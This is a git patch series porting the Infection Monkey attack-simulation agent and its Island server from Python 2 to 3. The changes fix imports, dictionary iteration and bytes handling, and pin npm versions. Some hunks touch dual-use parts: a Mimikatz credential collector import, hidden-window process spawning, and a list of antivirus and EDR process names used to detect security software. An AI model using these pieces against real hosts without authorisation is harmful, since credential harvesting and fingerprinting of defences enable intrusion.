@@ -282,4 +282,4 @@ class TestZeroTrustService(IslandTestCase):
DATA: STATUS_FAILED
}
- self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected)
+ self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected)
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
index f4b23f095..04f661b28 100644
--- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -34,7 +34,7 @@ class ZeroTrustService(object):
if pillar in test_info[PILLARS_KEY]:
pillar_grade[finding.status] += 1
- pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition)
+ pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition)
return pillar_grade
@@ -46,7 +46,7 @@ class ZeroTrustService(object):
for pillar in PILLARS:
all_principles_statuses[pillar] = []
- for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ for principle, principle_tests in list(PRINCIPLES_TO_TESTS.items()):
for pillar in PRINCIPLES_TO_PILLARS[principle]:
all_principles_statuses[pillar].append(
{
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
index d90143c09..966877967 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
@@ -1,7 +1,7 @@
# import all implemented hooks, for brevity of hooks.py file
-from tunnel import process_tunnel_telemetry
-from state import process_state_telemetry
-from exploit import process_exploit_telemetry
-from scan import process_scan_telemetry
-from system_info import process_system_info_telemetry
-from post_breach import process_post_breach_telemetry
+from .tunnel import process_tunnel_telemetry
+from .state import process_state_telemetry
+from .exploit import process_exploit_telemetry
+from .scan import process_scan_telemetry
+from .system_info import process_system_info_telemetry
+from .post_breach import process_post_breach_telemetry
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
index b8b8c559b..db5b6445d 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
@@ -37,7 +37,7 @@ def test_antivirus_existence(telemetry_json):
def filter_av_processes(telemetry_json):
- all_processes = telemetry_json['data']['process_list'].items()
+ all_processes = list(telemetry_json['data']['process_list'].items())
av_processes = []
for process in all_processes:
process_name = process[1]['name']
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
index 68a7f713d..b4e0bb4ec 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -26,7 +26,7 @@ def test_open_data_endpoints(telemetry_json):
)
]
- for service_name, service_data in services.items():
+ for service_name, service_data in list(services.items()):
events.append(Event.create_event(
title="Scan telemetry analysis",
message="Scanned service: {}.".format(service_name),
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
index e5d7c2355..291348467 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
@@ -1,87 +1,87 @@
ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
- u"AvastSvc.exe",
- u"AvastUI.exe",
- u"avcenter.exe",
- u"avconfig.exe",
- u"avgcsrvx.exe",
- u"avgidsagent.exe",
- u"avgnt.exe",
- u"avgrsx.exe",
- u"avguard.exe",
- u"avgui.exe",
- u"avgwdsvc.exe",
- u"avp.exe",
- u"avscan.exe",
- u"bdagent.exe",
- u"ccuac.exe",
- u"egui.exe",
- u"hijackthis.exe",
- u"instup.exe",
- u"keyscrambler.exe",
- u"mbam.exe",
- u"mbamgui.exe",
- u"mbampt.exe",
- u"mbamscheduler.exe",
- u"mbamservice.exe",
- u"MpCmdRun.exe",
- u"MSASCui.exe",
- u"MsMpEng.exe",
- u"rstrui.exe",
- u"spybotsd.exe",
- u"zlclient.exe",
- u"SymCorpUI.exe",
- u"ccSvcHst.exe",
- u"ccApp.exe",
- u"LUALL.exe",
- u"SMC.exe",
- u"SMCgui.exe",
- u"Rtvscan.exe",
- u"LuComServer.exe",
- u"ProtectionUtilSurrogate.exe",
- u"ClientRemote.exe",
- u"SemSvc.exe",
- u"SemLaunchSvc.exe",
- u"sesmcontinst.exe",
- u"LuCatalog.exe",
- u"LUALL.exe",
- u"LuCallbackProxy.exe",
- u"LuComServer_3_3.exe",
- u"httpd.exe",
- u"dbisqlc.exe",
- u"dbsrv16.exe",
- u"semapisrv.exe",
- u"snac64.exe",
- u"AutoExcl.exe",
- u"DoScan.exe",
- u"nlnhook.exe",
- u"SavUI.exe",
- u"SepLiveUpdate.exe",
- u"Smc.exe",
- u"SmcGui.exe",
- u"SymCorpUI.exe",
- u"symerr.exe",
- u"ccSvcHst.exe",
- u"DevViewer.exe",
- u"DWHWizrd.exe",
- u"RtvStart.exe",
- u"roru.exe",
- u"WSCSAvNotifier",
+ "AvastSvc.exe",
+ "AvastUI.exe",
+ "avcenter.exe",
+ "avconfig.exe",
+ "avgcsrvx.exe",
+ "avgidsagent.exe",
+ "avgnt.exe",
+ "avgrsx.exe",
+ "avguard.exe",
+ "avgui.exe",
+ "avgwdsvc.exe",
+ "avp.exe",
+ "avscan.exe",
+ "bdagent.exe",
+ "ccuac.exe",
+ "egui.exe",
+ "hijackthis.exe",
+ "instup.exe",
+ "keyscrambler.exe",
+ "mbam.exe",
+ "mbamgui.exe",
+ "mbampt.exe",
+ "mbamscheduler.exe",
+ "mbamservice.exe",
+ "MpCmdRun.exe",
+ "MSASCui.exe",
+ "MsMpEng.exe",
+ "rstrui.exe",
+ "spybotsd.exe",
+ "zlclient.exe",
+ "SymCorpUI.exe",
+ "ccSvcHst.exe",
+ "ccApp.exe",
+ "LUALL.exe",
+ "SMC.exe",
+ "SMCgui.exe",
+ "Rtvscan.exe",
+ "LuComServer.exe",
+ "ProtectionUtilSurrogate.exe",
+ "ClientRemote.exe",
+ "SemSvc.exe",
+ "SemLaunchSvc.exe",
+ "sesmcontinst.exe",
+ "LuCatalog.exe",
+ "LUALL.exe",
+ "LuCallbackProxy.exe",
+ "LuComServer_3_3.exe",
+ "httpd.exe",
+ "dbisqlc.exe",
+ "dbsrv16.exe",
+ "semapisrv.exe",
+ "snac64.exe",
+ "AutoExcl.exe",
+ "DoScan.exe",
+ "nlnhook.exe",
+ "SavUI.exe",
+ "SepLiveUpdate.exe",
+ "Smc.exe",
+ "SmcGui.exe",
+ "SymCorpUI.exe",
+ "symerr.exe",
+ "ccSvcHst.exe",
+ "DevViewer.exe",
+ "DWHWizrd.exe",
+ "RtvStart.exe",
+ "roru.exe",
+ "WSCSAvNotifier",
# Guardicore Centra
# Linux
- u"gc-agents-service",
- u"gc-guest-agent",
- u"gc-guardig",
- u"gc-digger",
- u"gc-fastpath",
- u"gc-enforcement-agent",
- u"gc-enforcement-channel",
- u"gc-detection-agent",
+ "gc-agents-service",
+ "gc-guest-agent",
+ "gc-guardig",
+ "gc-digger",
+ "gc-fastpath",
+ "gc-enforcement-agent",
+ "gc-enforcement-channel",
+ "gc-detection-agent",
# Windows
- u"gc-guest-agent.exe",
- u"gc-windig.exe",
- u"gc-digger.exe",
- u"gc-fastpath.exe",
- u"gc-enforcement-channel.exe",
- u"gc-enforcement-agent.exe",
- u"gc-agent-ui.exe"
+ "gc-guest-agent.exe",
+ "gc-windig.exe",
+ "gc-digger.exe",
+ "gc-fastpath.exe",
+ "gc-enforcement-channel.exe",
+ "gc-enforcement-agent.exe",
+ "gc-agent-ui.exe"
]
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
index 5f986e3b5..900ac2f89 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
@@ -26,13 +26,13 @@ class TestSegmentationTests(IslandTestCase):
ip_addresses=[FIRST_SUBNET])
# no findings
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
# This is like the monkey is done and sent done telem
create_or_add_findings_for_all_pairs(all_subnets, monkey)
# There are 2 subnets in which the monkey is NOT
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2)
# This is a monkey from 2nd subnet communicated with 1st subnet.
SegmentationFinding.create_or_add_to_existing_finding(
@@ -41,6 +41,6 @@ class TestSegmentationTests(IslandTestCase):
Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK)
)
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1)
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1)
- self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1)
+ self.assertEqual(len(Finding.objects(test=TEST_SEGMENTATION)), 2)
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
index 159e0d098..75b77c0cf 100644
--- a/monkey/monkey_island/scripts/island_password_hasher.py
+++ b/monkey/monkey_island/scripts/island_password_hasher.py
@@ -16,7 +16,7 @@ def main():
h = SHA3_512.new()
h.update(args.string_to_sha)
- print(h.hexdigest())
+ print((h.hexdigest()))
if __name__ == '__main__':
From ea40620373887ed43bf283ece5e3be2128e8fcdf Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 20 Sep 2019 18:07:17 +0300
Subject: [PATCH 006/108] String vs byte stream mixup bugs fixed
---
monkey/common/network/network_range.py | 5 +-
monkey/infection_monkey.py | 2 +-
monkey/infection_monkey/monkey.py | 6 +-
monkey/infection_monkey/monkeyfs.py | 2 +-
monkey/infection_monkey/network/info.py | 8 +-
monkey/infection_monkey/network/tools.py | 2 +-
.../system_info/windows_info_collector.py | 5 +-
monkey/infection_monkey/system_singleton.py | 2 +-
.../infection_monkey/telemetry/base_telem.py | 2 +-
monkey/monkey_island.py | 2 +-
monkey/monkey_island/cc/encryptor.py | 4 +-
monkey/monkey_island/cc/services/log.py | 2 +-
monkey/monkey_island/cc/services/node.py | 2 +-
monkey/monkey_island/cc/ui/package-lock.json | 12490 +++++++++-------
monkey/monkey_island/cc/ui/package.json | 64 +-
15 files changed, 7021 insertions(+), 5577 deletions(-)
diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py
index 244a3ad3b..60178a3dc 100644
--- a/monkey/common/network/network_range.py
+++ b/monkey/common/network/network_range.py
@@ -160,12 +160,9 @@ class SingleIpRange(NetworkRange):
# The most common use case is to enter ip/range into "Scan IP/subnet list"
domain_name = ''
- # Make sure to have unicode string
- user_input = string.decode('utf-8', 'ignore')
-
# Try casting user's input as IP
try:
- ip = ipaddress.ip_address(user_input).exploded
+ ip = ipaddress.ip_address(string).exploded
except ValueError:
# Exception means that it's a domain name
try:
diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py
index f2791b832..a63dec069 100644
--- a/monkey/infection_monkey.py
+++ b/monkey/infection_monkey.py
@@ -1,4 +1,4 @@
-from .infection_monkey.main import main
+from infection_monkey.main import main
if "__main__" == __name__:
main()
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index f701c1c7b..3985c8a2e 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -4,11 +4,11 @@ import os
import subprocess
import sys
import time
-from six.moves import xrange
import infection_monkey.tunnel as tunnel
from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
+from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.model import DELAY_DELETE_CMD
@@ -105,7 +105,7 @@ class InfectionMonkey(object):
ControlClient.wakeup(parent=self._parent)
ControlClient.load_control_config()
- if utils.is_windows_os():
+ if is_windows_os():
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
if not WormConfiguration.alive:
@@ -258,7 +258,7 @@ class InfectionMonkey(object):
try:
status = None
if "win32" == sys.platform:
- from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
+ from subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
index dabd3a7eb..c5ddef1aa 100644
--- a/monkey/infection_monkey/monkeyfs.py
+++ b/monkey/infection_monkey/monkeyfs.py
@@ -19,7 +19,7 @@ class VirtualFile(BytesIO):
if name in VirtualFile._vfs:
super(VirtualFile, self).__init__(self._vfs[name])
else:
- super(VirtualFile, self).__init__('')
+ super(VirtualFile, self).__init__()
def flush(self):
super(VirtualFile, self).flush()
diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py
index fec69ff1f..50cd7aa0a 100644
--- a/monkey/infection_monkey/network/info.py
+++ b/monkey/infection_monkey/network/info.py
@@ -1,4 +1,3 @@
-import os
import sys
import socket
import struct
@@ -13,6 +12,7 @@ import requests
from requests import ConnectionError
from common.network.network_range import CidrRange
+from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
@@ -39,11 +39,11 @@ def get_host_subnets():
if 'broadcast' in network:
network.pop('broadcast')
for attr in network:
- network[attr] = network[attr].encode('utf-8').strip()
+ network[attr] = network[attr]
return ipv4_nets
-if sys.platform == "win32":
+if is_windows_os():
def local_ips():
local_hostname = socket.gethostname()
@@ -159,7 +159,7 @@ def get_interfaces_ranges():
return res
-if sys.platform == "win32":
+if is_windows_os():
def get_ip_for_connection(target_ip):
return None
else:
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 5e448002c..abcd5a5cd 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -161,7 +161,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
if get_banner and (len(connected_ports_sockets) != 0):
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
# read first BANNER_READ bytes
- banners = [sock.recv(BANNER_READ) if sock in readable_sockets else ""
+ banners = [sock.recv(BANNER_READ).decode() if sock in readable_sockets else ""
for port, sock in connected_ports_sockets]
pass
# try to cleanup
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index b8a102831..9d6f6a1f2 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -2,14 +2,15 @@ import os
import logging
import sys
-sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
-
import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils
+
+sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
+
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py
index aaf5142e6..485a9253e 100644
--- a/monkey/infection_monkey/system_singleton.py
+++ b/monkey/infection_monkey/system_singleton.py
@@ -40,7 +40,7 @@ class WindowsSystemSingleton(_SystemSingleton):
handle = ctypes.windll.kernel32.CreateMutexA(None,
ctypes.c_bool(True),
- ctypes.c_char_p(self._mutex_name))
+ ctypes.c_char_p(self._mutex_name.encode()))
last_error = ctypes.windll.kernel32.GetLastError()
if not handle:
diff --git a/monkey/infection_monkey/telemetry/base_telem.py b/monkey/infection_monkey/telemetry/base_telem.py
index c83438b07..17cf6cb63 100644
--- a/monkey/infection_monkey/telemetry/base_telem.py
+++ b/monkey/infection_monkey/telemetry/base_telem.py
@@ -33,7 +33,7 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
pass
@abc.abstractmethod
- def get_data(self):
+ def get_data(self) -> dict:
"""
:return: Data of telemetry (should be dict)
"""
diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py
index a6f3fb13f..8f31c83f8 100644
--- a/monkey/monkey_island.py
+++ b/monkey/monkey_island.py
@@ -1,4 +1,4 @@
-from .monkey_island.cc.main import main
+from monkey_island.cc.main import main
if "__main__" == __name__:
main()
diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py
index d727fe10c..2ee19cb11 100644
--- a/monkey/monkey_island/cc/encryptor.py
+++ b/monkey/monkey_island/cc/encryptor.py
@@ -35,7 +35,7 @@ class Encryptor:
return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr(
self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE))
- def _unpad(self, message):
+ def _unpad(self, message: str):
return message[0:-ord(message[len(message) - 1])]
def enc(self, message):
@@ -47,7 +47,7 @@ class Encryptor:
enc_message = base64.b64decode(enc_message)
cipher_iv = enc_message[0:AES.block_size]
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
- return self._unpad(cipher.decrypt(enc_message[AES.block_size:]))
+ return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode())
encryptor = Encryptor()
diff --git a/monkey/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py
index a685e45b6..d58a4beac 100644
--- a/monkey/monkey_island/cc/services/log.py
+++ b/monkey/monkey_island/cc/services/log.py
@@ -34,7 +34,7 @@ class LogService:
@staticmethod
def add_log(monkey_id, log_data, timestamp=datetime.now()):
LogService.remove_logs_by_monkey_id(monkey_id)
- file_id = database.gridfs.put(log_data)
+ file_id = database.gridfs.put(log_data, encoding='utf-8')
return mongo.db.log.insert(
{
'monkey_id': monkey_id,
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 2c75d7187..6bff2b54a 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -52,7 +52,7 @@ class NodeService:
exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))
exploits.append(exploit)
- exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp)
+ exploits.sort(key=NodeService._cmp_exploits_by_timestamp)
new_node["exploits"] = exploits
new_node["accessible_from_nodes"] = accessible_from_nodes
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index f366d73bd..14e547416 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -19,10 +19,10 @@
"dev": true,
"requires": {
"@babel/types": "7.0.0-beta.44",
- "jsesc": "^2.5.1",
- "lodash": "^4.2.0",
- "source-map": "^0.5.0",
- "trim-right": "^1.0.1"
+ "jsesc": "2.5.1",
+ "lodash": "4.17.10",
+ "source-map": "0.5.6",
+ "trim-right": "1.0.1"
},
"dependencies": {
"jsesc": {
@@ -58,23 +58,23 @@
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz",
"integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==",
"requires": {
- "@babel/types": "^7.0.0"
+ "@babel/types": "7.6.1"
},
"dependencies": {
"@babel/types": {
- "version": "7.4.0",
- "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.4.0.tgz",
- "integrity": "sha512-aPvkXyU2SPOnztlgo8n9cEiXW755mgyvueUPcpStqdzoSPm0fjO0vQBjLkt3JKJW7ufikfcnMTTPsN1xaTsBPA==",
+ "version": "7.6.1",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.6.1.tgz",
+ "integrity": "sha512-X7gdiuaCmA0uRjCmRtYJNAVCc/q+5xSgsfKJHqMN4iNLILX39677fJE1O40arPMh0TTtS9ItH67yre6c7k6t0g==",
"requires": {
- "esutils": "^2.0.2",
- "lodash": "^4.17.11",
- "to-fast-properties": "^2.0.0"
+ "esutils": "2.0.2",
+ "lodash": "4.17.15",
+ "to-fast-properties": "2.0.0"
}
},
"lodash": {
- "version": "4.17.11",
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
- "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
},
"to-fast-properties": {
"version": "2.0.0",
@@ -98,9 +98,9 @@
"integrity": "sha512-Il19yJvy7vMFm8AVAh6OZzaFoAd0hbkeMZiX3P5HGD+z7dyI7RzndHB0dg6Urh/VAFfHtpOIzDUSxmY6coyZWQ==",
"dev": true,
"requires": {
- "chalk": "^2.0.0",
- "esutils": "^2.0.2",
- "js-tokens": "^3.0.0"
+ "chalk": "2.4.1",
+ "esutils": "2.0.2",
+ "js-tokens": "3.0.2"
},
"dependencies": {
"ansi-styles": {
@@ -109,7 +109,7 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
@@ -118,9 +118,9 @@
"integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.4.0"
}
},
"has-flag": {
@@ -135,7 +135,7 @@
"integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
@@ -145,7 +145,7 @@
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.1.5.tgz",
"integrity": "sha512-xKnPpXG/pvK1B90JkwwxSGii90rQGKtzcMt2gI5G6+M0REXaq6rOHsGC2ay6/d0Uje7zzvSzjEzfR3ENhFlrfA==",
"requires": {
- "regenerator-runtime": "^0.12.0"
+ "regenerator-runtime": "0.12.1"
},
"dependencies": {
"regenerator-runtime": {
@@ -160,8 +160,8 @@
"resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.4.3.tgz",
"integrity": "sha512-anTLTF7IK8Hd5f73zpPzt875I27UaaTWARJlfMGgnmQhvEe1uNHQRKBUbXL0Gc0VEYiVzsHsTPso5XdK8NGvFg==",
"requires": {
- "core-js": "^2.6.5",
- "regenerator-runtime": "^0.13.2"
+ "core-js": "2.6.5",
+ "regenerator-runtime": "0.13.2"
},
"dependencies": {
"core-js": {
@@ -185,7 +185,7 @@
"@babel/code-frame": "7.0.0-beta.44",
"@babel/types": "7.0.0-beta.44",
"babylon": "7.0.0-beta.44",
- "lodash": "^4.2.0"
+ "lodash": "4.17.10"
},
"dependencies": {
"babylon": {
@@ -208,10 +208,10 @@
"@babel/helper-split-export-declaration": "7.0.0-beta.44",
"@babel/types": "7.0.0-beta.44",
"babylon": "7.0.0-beta.44",
- "debug": "^3.1.0",
- "globals": "^11.1.0",
- "invariant": "^2.2.0",
- "lodash": "^4.2.0"
+ "debug": "3.1.0",
+ "globals": "11.7.0",
+ "invariant": "2.2.2",
+ "lodash": "4.17.10"
},
"dependencies": {
"babylon": {
@@ -243,9 +243,9 @@
"integrity": "sha512-5eTV4WRmqbaFM3v9gHAIljEQJU4Ssc6fxL61JN+Oe2ga/BwyjzjamwkCVVAQjHGuAX8i0BWo42dshL8eO5KfLQ==",
"dev": true,
"requires": {
- "esutils": "^2.0.2",
- "lodash": "^4.2.0",
- "to-fast-properties": "^2.0.0"
+ "esutils": "2.0.2",
+ "lodash": "4.17.10",
+ "to-fast-properties": "2.0.0"
},
"dependencies": {
"to-fast-properties": {
@@ -257,260 +257,309 @@
}
},
"@emotion/cache": {
- "version": "10.0.9",
- "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz",
- "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==",
+ "version": "10.0.19",
+ "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.19.tgz",
+ "integrity": "sha512-BoiLlk4vEsGBg2dAqGSJu0vJl/PgVtCYLBFJaEO8RmQzPugXewQCXZJNXTDFaRlfCs0W+quesayav4fvaif5WQ==",
"requires": {
- "@emotion/sheet": "0.9.2",
- "@emotion/stylis": "0.8.3",
- "@emotion/utils": "0.11.1",
- "@emotion/weak-memoize": "0.2.2"
+ "@emotion/sheet": "0.9.3",
+ "@emotion/stylis": "0.8.4",
+ "@emotion/utils": "0.11.2",
+ "@emotion/weak-memoize": "0.2.4"
}
},
"@emotion/core": {
- "version": "10.0.10",
- "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz",
- "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==",
+ "version": "10.0.17",
+ "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.17.tgz",
+ "integrity": "sha512-gykyjjr0sxzVuZBVTVK4dUmYsorc2qLhdYgSiOVK+m7WXgcYTKZevGWZ7TLAgTZvMelCTvhNq8xnf8FR1IdTbg==",
"requires": {
- "@emotion/cache": "^10.0.9",
- "@emotion/css": "^10.0.9",
- "@emotion/serialize": "^0.11.6",
- "@emotion/sheet": "0.9.2",
- "@emotion/utils": "0.11.1"
+ "@babel/runtime": "7.6.0",
+ "@emotion/cache": "10.0.19",
+ "@emotion/css": "10.0.14",
+ "@emotion/serialize": "0.11.11",
+ "@emotion/sheet": "0.9.3",
+ "@emotion/utils": "0.11.2"
+ },
+ "dependencies": {
+ "@babel/runtime": {
+ "version": "7.6.0",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.6.0.tgz",
+ "integrity": "sha512-89eSBLJsxNxOERC0Op4vd+0Bqm6wRMqMbFtV3i0/fbaWw/mJ8Q3eBvgX0G4SyrOOLCtbu98HspF8o09MRT+KzQ==",
+ "requires": {
+ "regenerator-runtime": "0.13.3"
+ }
+ },
+ "regenerator-runtime": {
+ "version": "0.13.3",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz",
+ "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw=="
+ }
}
},
"@emotion/css": {
- "version": "10.0.9",
- "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.9.tgz",
- "integrity": "sha512-jtHhUSWw+L7yxYgNtC+KJ3Ory90/jiAtpG1qT+gTQQ/RR5AMiigs9/lDHu/vnwljaq2S48FoKb/FZZMlJcC4bw==",
+ "version": "10.0.14",
+ "resolved": "https://registry.npmjs.org/@emotion/css/-/css-10.0.14.tgz",
+ "integrity": "sha512-MozgPkBEWvorcdpqHZE5x1D/PLEHUitALQCQYt2wayf4UNhpgQs2tN0UwHYS4FMy5ROBH+0ALyCFVYJ/ywmwlg==",
"requires": {
- "@emotion/serialize": "^0.11.6",
- "@emotion/utils": "0.11.1",
- "babel-plugin-emotion": "^10.0.9"
+ "@emotion/serialize": "0.11.11",
+ "@emotion/utils": "0.11.2",
+ "babel-plugin-emotion": "10.0.19"
}
},
"@emotion/hash": {
- "version": "0.7.1",
